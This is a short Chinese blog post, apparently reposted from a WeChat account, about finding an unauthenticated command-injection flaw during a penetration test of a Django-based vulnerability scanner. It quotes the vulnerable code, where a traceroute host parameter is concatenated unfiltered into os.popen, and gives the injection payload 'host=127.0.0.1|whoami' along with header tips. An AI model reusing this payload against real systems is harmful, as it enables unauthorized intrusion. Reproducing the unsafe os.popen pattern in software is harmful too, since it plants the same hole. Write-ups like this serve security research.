在渗透测试中,遇到某个公司的漏洞扫描系统,顺势挖掘了下,发现了可远程命令执行的漏洞
通过某种手段,获取到了关键性的代码,得到以下结论:
1、该系统采用django开发(正好前段时间学完了用来练手)
2、该系统部分功能可未授权操作(巧了命令执行的功能就可以未授权)
3、官方给的系统建设建议是Linux(方便后续构造RCE参数)
在/system/traceroute路由下,系统提供了一个测试跟踪路由的功能,用户可以根据该功能测试网络环境是否正常,关键代码如下:
elif request.method == "POST":
try:
ip = request.POST.get('host')
if ip:
cmd = "traceroute %s" % (ip)
backinfo = os.popen(cmd).read().rstrip()
可以看到,POST传参进去之后没有任何过滤直接拼接参数组成cmd待执行的命令,然后使用os.popen去执行系统命令
我们构造命令执行的payload:
host=127.0.0.1|whoami
注意:有时候构造的参数会报错,大部分原因是因为Content-Type类型错误,之前在springboot和一些的一些框架上遇到过相同的问题,此处需要修改为:
Content-Type:application/x-www-form-urlencoded
springboot:
Content-Type:application/json
最后截图:
记在最后:
这个系统类似于这个功能的功能点很多,但是都在一定范围了做了限制,没法进一步利用,这个traceroute功能怕是一个漏网之鱼吧,开发估计要挨骂了
原文始发于微信公众号(增益安全):某漏洞扫描系统的0day挖掘
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论